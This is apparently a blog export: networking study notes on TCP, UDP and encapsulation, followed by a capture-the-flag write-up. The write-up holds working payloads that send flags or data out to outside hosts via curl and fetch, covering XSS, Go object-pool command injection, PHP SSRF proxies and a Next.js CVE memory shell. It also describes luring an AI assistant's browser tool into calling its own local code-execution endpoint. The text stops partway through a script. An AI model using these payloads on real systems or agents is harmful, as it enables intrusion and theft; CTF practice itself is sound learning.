    • 源端口与目的端口 (Source/Destination Port)：各 16 bits。结合 IP 地址，构成唯一的通信套接字（Socket）四元组 (Src IP, Src Port, Dst IP, Dst Port)。

    • 序列号 (Sequence Number, SEQ)：32 bits。TCP 将发送的字节流进行整体编号，SEQ 表示当前报文段第一个字节的序号。用于解决网络包乱序和重复问题。

    • 确认号 (Acknowledgment Number, ACK)：32 bits。期望收到对方下一个报文段的第一个字节序号。表示该序号之前的所有数据均已正确接收。用于解决丢包问题。

    • 控制标志位 (Flags)：

      • SYN (Synchronize)：发起一个新连接。

      • ACK (Acknowledgment)：确认号有效标志。

      • FIN (Finish)：释放一个连接，表示发送方没有数据要发送了。

      • RST (Reset)：强制重置连接（通常在异常或拒绝连接时发生）。

    • 窗口大小 (Window Size)：16 bits。用于流量控制，告知对方本机当前的接收缓冲区还能容纳多少字节。

    2. TCP 连接建立：三次握手 (Three-Way Handshake)

    TCP 连接的建立不仅是确认双方在线，更核心的目的是同步双方的初始序列号 (ISN, Initial Sequence Number)。

    1. 第一次握手 (SYN)：客户端选择一个随机初始序列号 seq = x，设置 SYN=1，发送给服务端。客户端进入 SYN_SENT 状态。

    2. 第二次握手 (SYN + ACK)：服务端收到后，同样选择自己的随机初始序列号 seq = y，并确认客户端的序列号 ack = x + 1，设置 SYN=1, ACK=1，回复客户端。服务端进入 SYN_RCVD 状态。

    3. 第三次握手 (ACK)：客户端收到服务端的 SYN+ACK，回复确认包 ack = y + 1, seq = x + 1，设置 ACK=1。客户端进入 ESTABLISHED 状态。服务端收到此包后也进入 ESTABLISHED 状态。此时连接正式建立。

    硬核拷问：为什么必须是三次握手，两次不行吗？ 核心原因是为了防止已失效的连接请求报文段突然又传送到了服务端，从而产生错误。 假设仅需两次握手：客户端发出 SYN，因网络延迟滞留。客户端超时重发 SYN，服务端收到并建立连接，通信完毕后断开。此时，最初那个滞留的 SYN 突然到达服务端。服务端误以为客户端又发起了新连接，回复 SYN+ACK 并直接进入 ESTABLISHED 状态。但客户端此刻根本没有建连意图，会直接丢弃该报文。而服务端会一直等待客户端发送数据，导致服务端资源（端口、内存）被白白消耗。三次握手赋予了客户端在最后关头“拒绝无效连接”的权力。

    3. TCP 连接释放：四次挥手 (Four-Way Teardown)

    TCP 是全双工 (Full-Duplex) 的，允许单向关闭（半关闭 Half-Close）。因此断开连接需要双方独立发送 FIN 并被对方 ACK。

    1. 第一次挥手 (FIN)：客户端发送 FIN=1, seq=u，表示客户端没有数据要发送了。进入 FIN_WAIT_1 状态。

    2. 第二次挥手 (ACK)：服务端收到 FIN，回复 ACK=1, ack=u+1。服务端进入 CLOSE_WAIT 状态。客户端收到后进入 FIN_WAIT_2 状态。此时连接处于半关闭状态，客户端无法发数据，但服务端如果还有剩余数据，仍可继续发送给客户端。

    3. 第三次挥手 (FIN)：服务端数据发送完毕，发送 FIN=1, seq=w。进入 LAST_ACK 状态。

    4. 第四次挥手 (ACK)：客户端收到 FIN，回复 ACK=1, ack=w+1。客户端进入 TIME_WAIT 状态。服务端收到后进入 CLOSED 状态。

    硬核拷问：深度解析 TIME_WAIT 状态（2MSL） 客户端在发送完最后一个 ACK 后，必须等待 2MSL（Maximum Segment Lifetime，报文最大生存时间，通常 Linux 默认 60 秒）才能进入 CLOSED 状态释放端口。 原因一：保证可靠的全双工连接终止。 如果最后的 ACK 丢失，服务端会触发超时重传，重新发送 FIN。如果客户端不等待直接关闭，收到重传的 FIN 时会回复 RST，导致服务端非正常关闭。TIME_WAIT 确保客户端有时间响应可能重传的 FIN。 原因二：防止历史报文段干扰新连接。 网络中可能残留属于该连接的延迟数据包。等待 2MSL 可确保本次连接产生的所有报文段在网络中彻底消亡，避免相同端口对（Tuple）建立新连接时，被旧的残留数据包干扰。

    UDP

    2.1 UDP 的核心特性

    UDP（User Datagram Protocol）是无连接、不可靠、数据报的协议，发送前不需要建立连接，尽力而为地传输，不保证到达，不保证顺序，不保证不重复。

    1
    无连接：直接发送，不握手不可靠：没有确认、重传、排序机制数据报：有边界，一次发送就是一个完整的数据报，接收方一次收一个低开销：首部只有 8 字节，处理速度快

    2.2 UDP 报文结构

    UDP 的结构极其简单，首部固定只有 8 字节：

    1
    ┌─────────────────────────────┬─────────────────────────────────┐│         源端口号（16位）      │          目的端口号（16位）       │├─────────────────────────────┼─────────────────────────────────┤│          长度（16位）         │           校验和（16位）          │├─────────────────────────────┴─────────────────────────────────┤│                           数据部分                              │└───────────────────────────────────────────────────────────────┘
    字段大小说明
    源端口16位可选，不需要回复时可填 0
    目的端口16位必须，标识接收进程
    长度16位UDP 首部+数据的总长度，最小值 8
    校验和16位可选，用于差错检测，IPv4 中可置 0 跳过
    对比 TCP 的 20 字节最小首部，UDP 只有 8 字节，处理开销极小。

    2.3 UDP 没有的东西

    理解 UDP 最好的方式是列出它不具备的 TCP 特性，以及为什么：

    TCP 特性UDP 有无影响
    三次握手无无连接延迟，但无法确认对方在线
    确认机制无发完不管，不知道对方有没有收到
    重传机制无丢包不重发
    序号/排序无多包乱序不纠正
    流量控制无可能淹没接收方
    拥塞控制无网络拥塞时仍全速发送
    全双工有双方都可发送

    3. 区别

    维度TCPUDP
    连接方式面向连接（需握手）无连接（直接发）
    可靠性可靠，保证到达、有序、不重复不可靠，尽力而为
    数据单位字节流（无边界）数据报（有边界）
    首部大小最小 20 字节固定 8 字节
    速度慢（确认、重传、拥塞控制开销）快（无额外机制）
    拥塞控制有无
    广播/多播不支持支持
    适用场景要求数据完整要求低延迟

    4. 各自的适用场景

    4.1 TCP 适合

    对数据完整性要求高、可以接受延迟的场景：

    • HTTP/HTTPS：网页传输，数据缺失直接显示错误
    • FTP：文件传输，文件损坏不可接受
    • SSH：远程登录，指令不能乱序或丢失
    • SMTP/POP3：邮件传输
    • 数据库连接：MySQL、PostgreSQL 等

    4.2 UDP 适合

    对实时性要求高、少量丢包可以接受的场景：

    • DNS：查询短小，一来一回，不需要连接开销
    • 视频直播/音视频通话：丢几帧比卡顿更能接受（WebRTC 基于 UDP）
    • 在线游戏：位置同步，旧数据丢了没关系，要的是最新状态
    • DHCP：获取 IP 地址，广播场景
    • QUIC（HTTP/3）：Google 设计的基于 UDP 的传输协议，在应用层自己实现可靠性，避免 TCP 的队头阻塞

    HTTP 报文的封装与解封装

    以一段真实封装来理解

    第一阶段：应用层 (Application Layer) —— 原始字节流的诞生

    根据 HTTP/1.1 规范，在内存中分配了一块缓冲区，构造出了一段纯文本格式的字节流。

    1
    2
    3
    4
    5
    6
    GET /index.html HTTP/1.1\r\n
    Host: www.example.com\r\n
    User-Agent: Mozilla/5.0\r\n
    Accept: text/html\r\n
    Connection: keep-alive\r\n
    \r\n

    此时，这段数据没有任何寻址能力。浏览器通过触发系统调用（如 send() 或 write()），将这段字节流拷贝到操作系统**内核态（Kernel Space）**的 Socket 发送缓冲区中。应用层的工作到此结束。

    第二阶段：传输层 (Transport Layer) —— 端口注入与可靠性序列化

    内核的 TCP 协议栈接管了这段数据（Payload）。 如果 Payload 大于 MSS（最大报文段长度，通常为 1460 字节），TCP 会将其切割。随后，TCP 为数据块强制注入 20 字节的 TCP 首部。

    TCP Header 核心注入字段：

    • Source Port: 54321 | Destination Port: 80 （定义端到端的进程寻址）

    • Sequence Number: 1000 （当前报文段在整个字节流中的绝对偏移量编号）

    • Acknowledgment Number: 1 （全双工通信中，期望对方回复的下一个编号）

    • Flags: ACK=1, PSH=1 （PSH 标志位指令接收方内核：收到此包后立即推入应用层，禁止在缓冲区延迟等待）

    当前 PDU 形态：TCP 报文段 (Segment) 结构：[TCP Header (20B)] + [HTTP Payload]

    第三阶段：网络层 (Network Layer) —— 全局路由寻址注入

    TCP 模块将 Segment 移交给 IP 模块。IP 模块并不关心里面装的是 HTTP 还是 FTP，它的唯一任务是为数据包注入全局路由逻辑。IP 模块在前方注入 20 字节的 IPv4 首部。

    IP Header 核心注入字段：

    • Source IP: 192.168.1.100 | Destination IP: 93.184.216.34

    • TTL: 64 （生存时间，防止路由环路，每经过一个三层设备减 1）

    • Protocol: 6 （多路复用标识！ 6 代表上层载荷是 TCP 协议。这为接收方的解封装提供了唯一的指路明灯）

    当前 PDU 形态：IP 数据报 (Packet / Datagram) 结构：[IP Header (20B)] + [TCP Header] + [HTTP Payload]

    IP 数据报被送入网卡驱动程序。在局域网以太网标准下，驱动程序需要确定下一跳的物理 MAC 地址。

    1. 驱动检查目的 IP 93.184.216.34，发现不在 192.168.1.0/24 子网内。

    2. 查找路由表，确定下一跳为默认网关 192.168.1.1。

    3. 查询本机 ARP 缓存表，获取网关的 MAC 地址 11:22:33:44:55:66。

    驱动程序在前方注入 14 字节的以太网帧头，在尾部追加 4 字节的 FCS（帧检验序列）。

    Ethernet II Header 核心注入字段：

    • Destination MAC: 11:22:33:44:55:66 （注意：这里绝不是目标服务器的 MAC！而是网关的 MAC）

    • Source MAC: AA:BB:CC:DD:EE:FF

    • EtherType: 0x0800 （多路复用标识！ 告知接收方硬件，该帧内部封装的是 IPv4 报文）

    当前 PDU 形态：以太网帧 (Frame) 结构：[Eth Header (14B)] + [IP Header] + [TCP Header] + [HTTP Payload] + [FCS (4B)]

    第五阶段：物理层 (Physical Layer) —— 模数转换与发送

    网卡（NIC）硬件通过 DMA（直接内存访问）技术将内核中的 Frame 拷贝到网卡显存，将其转化为电平差分信号或光信号，以 010101 比特流的形式压入传输介质。

    路由中转

    • 入站拆帧：路由器接收物理电信号还原为帧。校验 FCS 通过后，直接剥弃原来的以太网帧头与帧尾，露出 IP 数据报。

    • 网络层决断：读取 IP 头部的目的 IP 93.184.216.34。在路由表中利用最长前缀匹配算法查找到下一跳路由器的 IP 及出口网卡。

    • 处理 TTL 与 Checksum：将 IP 头的 TTL 减 1。由于 TTL 改变，必须重新计算 IP 首部校验和。(如果在我们的设定中，该路由器是家用的 NAT 网关，它还会在这里将源 IP 替换为公网 IP 203.0.113.10)。

    • 出站重装帧：路由器通过出口网卡的 ARP 表查到下一跳路由器的 MAC 地址。生成一个全新的以太网帧头（源 MAC 变为本路由器的出口 MAC，目的 MAC 变为下一跳路由器 MAC），再次发送。

    数据到达目标服务器后，按照与封装完全相反的顺序，每一层剥掉自己的头部，把数据交给上层：

    物理层：接收信号，还原比特流

    1
    2
    3
    4
    5
    物理介质上的电信号/光信号
          ↓
    转换为数字比特流：01010011010010101...
          ↓
    交给数据链路层

    数据链路层：解析以太网帧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    收到比特流，按以太网帧格式解析
          ↓
    检查目的MAC是否是本机网卡MAC（FF:EE:DD:CC:BB:AA）
    → 是，继续处理；不是则直接丢弃
          ↓
    用FCS校验帧完整性
    → 校验通过；失败则丢弃，不通知发送方（TCP层负责重传）
          ↓
    读取类型字段：0x0800 → 数据部分是IPv4数据包
    剥掉帧头部和FCS
          ↓
    把IP数据包交给网络层

    网络层：解析 IP 数据包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    收到IP数据包，解析IP首部
          ↓
    检查版本：IPv4
    检查目的IP：93.184.216.34 → 是本机IP，继续
    检查TTL：若为0则丢弃并发送ICMP超时消息，否则继续
    验证IP首部校验和
          ↓
    读取协议字段：6 → 数据部分是TCP报文段
    如果IP数据包经过分片，在此重组（根据标识符、片偏移字段）
    剥掉IP首部
          ↓
    把TCP报文段交给传输层

    传输层：解析 TCP 报文段

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    收到TCP报文段，解析TCP首部
          ↓
    读取目的端口：80 → 交给监听80端口的进程（Web服务器）
    验证TCP校验和
          ↓
    检查序列号Seq：确认数据顺序是否正确
    → 如果乱序，暂存等待缺失的报文段到齐后再按序交给上层
    → 如果有缺失，发送重复ACK请求重传
          ↓
    发送ACK确认（Ack = 收到的Seq + 数据长度）
    更新接收窗口
    剥掉TCP首部
          ↓
    把数据（HTTP报文）交给应用层

    应用层：解析 HTTP 报文

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    收到HTTP报文数据
          ↓
    Web服务器（如Nginx/Apache）解析HTTP格式：
      读取请求行：GET /index.html HTTP/1.1
      读取请求头：Host、User-Agent、Accept...
      读取请求体（GET请求为空）
          ↓
    根据请求处理业务逻辑：
      查找 /index.html 文件
      或调用后端程序生成动态内容
          ↓
    构造HTTP响应报文（然后再次从上往下封装，发回给客户端）

    七、完整流程总览

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    应用层    HTTP报文
               ↓ +TCP头
    传输层    [TCP头 | HTTP报文]
               ↓ +IP头
    网络层    [IP头 | TCP头 | HTTP报文]
               ↓ +以太网帧头+FCS
    链路层    [帧头 | IP头 | TCP头 | HTTP报文 | FCS]
               ↓ 转换为信号
    物理层    ~~~~~~~~~~ 比特流 ~~~~~~~~~~
                           ↓ 经过多个路由器（每跳重新封装链路层帧，IP层TTL-1）
    物理层    ~~~~~~~~~~ 比特流 ~~~~~~~~~~
               ↓ 还原为帧
    链路层    [帧头 | IP头 | TCP头 | HTTP报文 | FCS]
               ↓ 剥帧头+FCS
    网络层    [IP头 | TCP头 | HTTP报文]
               ↓ 剥IP头
    传输层    [TCP头 | HTTP报文]
               ↓ 剥TCP头，排序重组
    应用层    HTTP报文

    最后这里加深印象 我自己讲一遍当我输入一个域名在浏览器中去请求服务时 宏观架构与微观协议做了什么
    以x为例 x.com 浏览器发现没有协议头 查询本地的 HSTS表 如果有的话浏览器就强制改写为https协议 然后浏览器会查询自身dns缓存 看看能否直接找到ip 不行的话 会去找操作系统的 DNS 缓存 都不行的话 则需要关联上UDP 去查找ip DNS通过快速递归去找到ip 这时候目标清晰了 则开始到了协议的部分
    传输层的TCP链路 TLS加密通道 需要在三次握手 密码学握手后建立
    这时候应用层封装 TLS加密 进到TCP模块传输层 IP模块网络层 链路层 依次打上加密 端口 ip MAC 通过路由器多次转送数据 到达x的网关 依次剥离验证 TLS终结 得到明文 在x内获得服务

    ]]>     http://47.109.24.42/2026/03/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/ 2026-03-02T12:00:00.000Z 网络世界的坐标系 MAC地址与IP地址

     计算机网络 2026-03-02T12:00:00.000Z     xiexie
  • web 魔法书
    根据提示 抓包改阅读时间 得到弹窗
  • 密码 Classic
    最后一行密文
    VUHHX{Tti Julxmzooz sm zhq Rlc azh ane Apk}
    然后明文VIDAR
    • 1
    2
    3
    4
    5
    6
    计算偏移量：
    - V -> V: 偏移 0 (A)
    - U -> I: 偏移 12 (M) (U=20, I=8, 20-12=8)
    - H -> D: 偏移 4 (E) (H=7, D=3, 7-4=3)
    - H -> A: 偏移 7 (H) (H=7, A=0, 7-0=7)
    - X -> R: 偏移 6 (G) (X=23, R=17, 23-6=17)
    • 密文: Tti Julxmzooz sm zhq Rlc azh ane Apk
    • 密钥: AME HGAMEHGAM EH GAM EHG AME HGA MEH
    • Tti (Key: AME) -> The
    • Julxmzooz (Key: HGAMEHG…) -> Collision
    • sm (Key: EH) -> of
    • zhq (Key: GAM) -> the
    • Rlc (Key: EHG) -> New
    • azh (Key: AME) -> and
    • ane (Key: HGA) -> the
    • Apk (Key: MEH) -> Old
      直接用减法去减
      以为要加下划线 服了 试了好久 原来直接拼上就可以了
    1. 密码 Flux
      ai梭的 解答过程如下
      第一步：攻破 QCG 生成器

      • 利用题目给出的 4 个连续随机数 $x_1, x_2, x_3, x_4$，构建方程组。

      • 通过消元法解线性方程组，成功恢复了 QCG 的参数：

        • $a = 36792…$

        • $b = 57247…$

        • $c = 51112…$

    第二步：回溯初始状态 (h)

    - 已知 $x_1 = (a \cdot h^2 + b \cdot h + c) \pmod n$。    - 这是一个关于 $h$ 的一元二次方程。使用 **Tonelli-Shanks 算法** 求模平方根，得到了两个可能的 $h$ 值。

    第三步：逆向 shash (逐位攻击)
    - 这是最精彩的一步。通常这类问题会用 Z3 Solver，但我发现由于运算包含 + (乘法) 和 ^ (异或)，且是从低位向高位传播，低位的输出结果只取决于低位的 Key。
    - 因此，我不需要暴力穷举 $2^{70}$，而是一位一位地猜。
    - 从第 0 位开始，猜 Key 的第 0 位是 0 还是 1，验证输出的第 0 位是否匹配 $h$。匹配上了就继续猜第 1 位……
    - 最终成功对其中一个 $h$ 值恢复出了 Key：860533

    1. web 博丽神社的绘马挂

      前端有一些路由泄露
      祈福看看

      找到个xss漏洞
      验证了一下 无需闭合 最简单的即可触发 可能有些过滤 但是没管了
      <img src=x onerror=alert(1)>
      试试外带 可以外带出去 但是偷不到cookie 可能是过滤了 也或者是根本就不在这里
      自动带上 Bot 的 Cookie 这个接口是前端泄露的
    1
    <img src=x onerror=\"fetch('/api/archives').then(res=>res.text()).then(t=>fetch('https://webhook.site/73296464-c885-4e1b-ab7e-a8e533ddf8be/?m='+btoa(t))) \">

    收到后解码

    5. web My Little Assistant我觉得非常有意思 考点也很新奇的一道题 是mcp呢

    最开始以为像极客那样 可以自己写入mcp工具 然后去读本地文件 不行 然后以为可以用它执行代码的mcp服务器去读本地文件

    才发现完全用不了
    （最开始以为是自己代码里面有被过滤的 往沙箱逃逸那方面去想了）后面发现就是完全用不了
    然后去看看附件

    1
    2
    3
    4
    5
    6
    7
    async def py_eval(code: str):
        try:
            local_vars = {}
            exec(code, {}, local_vars)
            return {"result": str(local_vars), "status": "success"}
        except Exception as e:
            return {"error": str(e), "status": "failed"}

    再看这个py_request

    1
    2
    3
    4
    browser = await p.chromium.launch(
        headless=True, 
        args=["--no-sandbox", "--disable-dev-shm-usage", "--disable-web-security"]
    )

    它开启了 --disable-web-security，这意味着 CORS（跨域策略）被禁用了
    让 AI 用 py_request 去访问一个我们控制的网页 这个网页里包含一段 JavaScript 代码，这段 JS 会在 AI 的浏览器里执行，向 AI 本地的 8001 端口 发送一个 POST 请求，假装是 AI 自己在调用 py_eval 那么自己在服务器去搞个文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <!DOCTYPE html>
    <html>
    <body>
        <h1>Stealing Flag...</h1>
        <script>
            // 1. 构造 Payload：直接用 curl 把 flag 发给你的 2333 端口
            const pythonPayload = "import os; os.popen('curl http://47.109.24.42:2333/$(cat /flag*)')";

            // 2. 发送请求给本地 API
            const apiData = {
                "jsonrpc": "2.0", "id": 1,
                "params": {
                    "name": "py_eval",
                    "arguments": { "code": pythonPayload }
                }
            };

            fetch("http://127.0.0.1:8001/mcp", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify(apiData)
            });
        </script>
    </body>
    </html>

    这段代码在服务器的浏览器里执行了
    向 http://127.0.0.1:8001/mcp 发送一个 POST 请求，执行 cat /flag
    请求是从服务器内部的浏览器发出的，目标又是 127.0.0.1 (服务器自己) 这里是直接发给我服务器（因为我怕长度限制影响了 有点麻烦）
    其实最开始这个也可以了 

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>Attack</title>
    </head>
    <body>
        <h1>...</h1>
        <div id="result">Waiting for flag...</div>
        <script>
            // 1. 构造要执行的 Python Payload
            // 这里的逻辑是：读取根目录下的 /flag 文件（如果不确定文件名，可以用 'ls /' 先看一眼）
            const pythonPayload = "import os; flag = os.popen('cat /flag*').read()";

            // 2. 构造发给 MCP API 的数据包
            const apiData = {
                "jsonrpc": "2.0",
                "id": 1,
                "params": {
                    "name": "py_eval",   // 绕过聊天框，直接调用后端的 py_eval
                    "arguments": {
                        "code": pythonPayload
                    }
                }
            };

            // 3. 让 Bot 的浏览器向它自己的本地接口 (127.0.0.1:8001) 发送请求
            fetch("http://127.0.0.1:8001/mcp", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify(apiData)
            })
            .then(res => res.json())
            .then(data => {
                document.getElementById("result").innerText = JSON.stringify(data);
            })
            .catch(err => {
                document.getElementById("result").innerText = "Error: " + err;
            });
        </script>
    </body>
    </html>


    得不完 前面没用到的前端 还有这个ls删掉就完了
    下面是我用发服务器方法搞得

    6. web MyMonitor
    sync.Pool
    在 Go 语言高并发场景下，频繁创建和销毁对象（比如每次请求都 new 一个结构体）会给垃圾回收（GC）带来巨大压力
    sync.Pool 可以看做成一个公共借用池
    Get(): 需要用对象时，去池子里拿一个。如果池子是空的，就新建一个。
    Put(): 用完了，把对象放回池子里，供下一个人使用。
    handler.go 中的 UserCmd 函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    func UserCmd(c *gin.Context) {
        // [1] 从池子里借出一个对象
        monitor := MonitorPool.Get().(*MonitorStruct)
        
        // [2] 这是一个 defer，函数结束前一定会执行：把对象放回池子
        defer MonitorPool.Put(monitor)

        // [3] 绑定 JSON 数据：把用户发的 JSON 填入 monitor 对象
        if err := c.ShouldBindJSON(monitor); err != nil {
            // [!] 漏洞点在这里！
            // 如果绑定报错（比如缺了必填字段），直接 return
            c.JSON(400, gin.H{"error": err.Error()})
            return 
        }
        
        // ...
        // [4] 负责清理对象的 reset，定义在 return 之后
        defer monitor.reset()
        // ...
    }

    Go 的 JSON 解析器会一边解析一边赋值。它先把 monitor.Args 赋值为 "填进去的东西"，然后检查 cmd 字段发现缺失，这才报错 err != nil。
    此时，monitor 对象变成了：{Cmd: "", Args: "恶意代码"}
    一个带着恶意 Args 数据的“脏对象”被放回了池子里！
    看 AdminCmd 的代码：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    func AdminCmd(c *gin.Context) {
        // [A] Bot 从池子里取对象
        // Bot 正好取到了你刚才放回去的那个“脏对象”
        monitor := MonitorPool.Get().(*MonitorStruct)
        defer MonitorPool.Put(monitor)
        
        // [B] Bot 发送请求：{"cmd": "ls"}
        // 注意：Bot 的请求里没有 "args" 字段
        if err := c.ShouldBindJSON(monitor); err != nil { ... }
        
        // [C] 拼接命令
        // monitor.Cmd 被 Bot 更新为 "ls"
        // monitor.Args 因为 Bot 没传，所以保留了原来的值（你的恶意代码）！！！
        fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args)
        // 结果变成： "ls ; curl .../flag"
        
        // [D] 执行
        exec.Command("bash", "-c", fullCommand).CombinedOutput()
    }

    因为 JSON 绑定通常是增量更新的。如果 JSON 里面没有 args 字段，解析器就不会去碰结构体里的 Args 字段（也就是说我放的毒不会被覆盖）

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    import requests  
    import random  
    import string  
    import time  
      
    # ================= 配置区域 =================# 题目地址  
    TARGET_URL = "http://cloud-middle.hgame.vidar.club:30267"  
    # 你的云服务器 IP (用来接收 Flag)YOUR_VPS_IP = "47.109.24.42"  
    # 你的云服务器监听端口  
    YOUR_VPS_PORT = "2333"  
      
      
    # ===========================================  
      
    def random_str(length=8):  
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))  
      
      
    def get_token():  
        """自动注册并获取 Token"""    username = random_str()  
        password = random_str()  
        print(f"[*] 正在注册随机账号: {username} / {password} ...")  
      
        try:  
            res = requests.post(f"{TARGET_URL}/api/account/register", json={  
                "username": username,  
                "password": password  
            })  
      
            if res.status_code == 200:  
                token = res.json().get("Authorization")  
                if token:  
                    print(f"[+] Token 获取成功: {token[:20]}...")  
                    return token  
            else:  
                print(f"[-] 注册失败: {res.text}")  
        except Exception as e:  
            print(f"[!] 连接错误: {e}")  
        return None  
      
      
    def poison_pool(token):  
        """发送脏数据污染对象池"""  
        # 构造 payload: 只有 args，没有 cmd    # 这里的 payload 会在服务器上执行: bash -c {monitor.Cmd} ; curl ...  
        payload_args = f"; curl http://{YOUR_VPS_IP}:{YOUR_VPS_PORT}/$(cat /flag)"  
      
        headers = {  
            "Content-Type": "application/json",  
            "Authorization": token  
        }  
      
        data = {  
            "args": payload_args  
            # 注意：这里故意不传 "cmd" 字段，触发 binding error    }  
      
        print(f"[*] 正在发送污染包 (Target -> {YOUR_VPS_IP})...")  
        try:  
            res = requests.post(f"{TARGET_URL}/api/user/cmd", json=data, headers=headers)  
      
            # 我们期望收到 400 错误，包含 'Field validation for Cmd failed'        if "Field validation" in res.text and "Cmd" in res.text:  
                print("[+] 攻击成功！对象池已污染 (Dirty Object Injected)")  
                print("[*] 现在请盯着你的 VPS 日志，等待 Bot 触发...")  
            else:  
                print(f"[-] 响应未达预期 (可能也成功了): {res.text}")  
      
        except Exception as e:  
            print(f"[!] 发送请求失败: {e}")  
      
      
    if __name__ == "__main__":  
        token = get_token()  
        if token:  
            poison_pool(token)


    7. misc 打好基础
    先放在随波逐流里面一键解码 感觉就base100有点像能二次解码的东西 提出来 然后
    ok了
    8. Vidarshop
    爆破出jwt密钥 为111 但这个题其实可以不爆破啊 直接取个擦边的 比如admin1之类的去看生成规则 伪造完uid之后 我以为可以直接抓包改了 没用 后面想到原型链污染
    就这样子
    然后
    去购买flag即可
    9. easyuu
    通过抓包 存在路径穿越 可读取任意文件

    在 /app/update 发现 easyuu.zip 源码包

    解压后审计 src/app.rs / src/main.rs，发现：

    • list_dir(path: String) -> /api/list_dir，path 完全可控，可任意目录遍历。
    • upload_file(data) -> /api/upload_file，支持 path1 字段改写写入目录。
    • main.rs 存在后台 update_watcher()：每 5 秒执行 ./update/easyuu --version
      然后传入这个脚本
    1
    2
    3
    4
    5
    6
    7
    8
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    int main(int argc, char *argv[]) {
        system("env > /app/uploads/1.txt");
        return 0;
    }

    意思就是把环境变量写入这个文件 然后可以看到

    以下是复现 官方wp写的草率 不过反而学到了更多
    10. baby web
    能够正常传php马 但是看不到什么
    能拿到的信息比较少 内网探测

    内网存在 10.0.0.2
    上传一个PHP代理脚本，利用PHP的curl扩展作为SSRF跳板访问内网Next.js服务。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    <?php
    // 1. 接收你想访问的内网路径，默认访问根目录
    $path = isset($_GET['path']) ? $_GET['path'] : '/';
    $url = "http://10.0.0.2:3000" . $path;

    // 2. 初始化 cURL，准备向内网发包
    $ch = curl_init($url);
    $method = $_SERVER['REQUEST_METHOD'];
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

    // 3. 【关键点】转发 Content-Type 请求头
    // 漏洞利用强依赖 Content-Type 中的 boundary 参数，必须透传
    $headers = array();
    $contentType = isset($_SERVER["CONTENT_TYPE"]) ? $_SERVER["CONTENT_TYPE"] : '';
    if ($contentType) {
        $headers[] = "Content-Type: " . $contentType;
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    // 4. 【关键点】转发原始 POST 实体
    if ($method === 'POST') {
        // 导师划重点：千万不要用 $_POST！
        // php://input 可以读取到最原始的、未经 PHP 解析的 HTTP Body 数据
        $body = file_get_contents('php://input');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    }

    // 5. 获取响应并返回给攻击者（你的电脑）
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, false);

    $response = curl_exec($ch);
    echo $response;

    curl_close($ch);
    ?>


    可以看到这里是有flag的 但是无法进行更多操作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    <?php

    // 专门用于打 Next.js 的代理

    $url = "http://10.0.0.2:3000/";

    $ch = curl_init($url);

      

    // 强行指定 POST 方法

    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');

      

    // 【核心魔法】在这里硬编码 Next.js 需要的漏洞触发头

    // 这样就完美避开了 PHP 对 multipart 的拦截

    $headers = array(

        "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCVE202555182",

        "Next-Action: exploit_cve_2025_55182"

    );

    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

      

    // 因为 Python 传来的是纯文本，php://input 里完好无损地保存着我们的 Payload

    $body = file_get_contents('php://input');

    curl_setopt($ch, CURLOPT_POSTFIELDS, $body);

      

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    echo curl_exec($ch);

    curl_close($ch);

    ?>

    继续传 最后ai利用CVE-2025-55182挂上了内存马

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    import requests  
    import urllib.parse  
    import time  
      
    # 代理地址  
    exploit_proxy_url = "http://forward.vidar.club:32211/uploads/exploit_proxy.php"  
    normal_proxy_url = "http://forward.vidar.club:32211/uploads/9.php"  
      
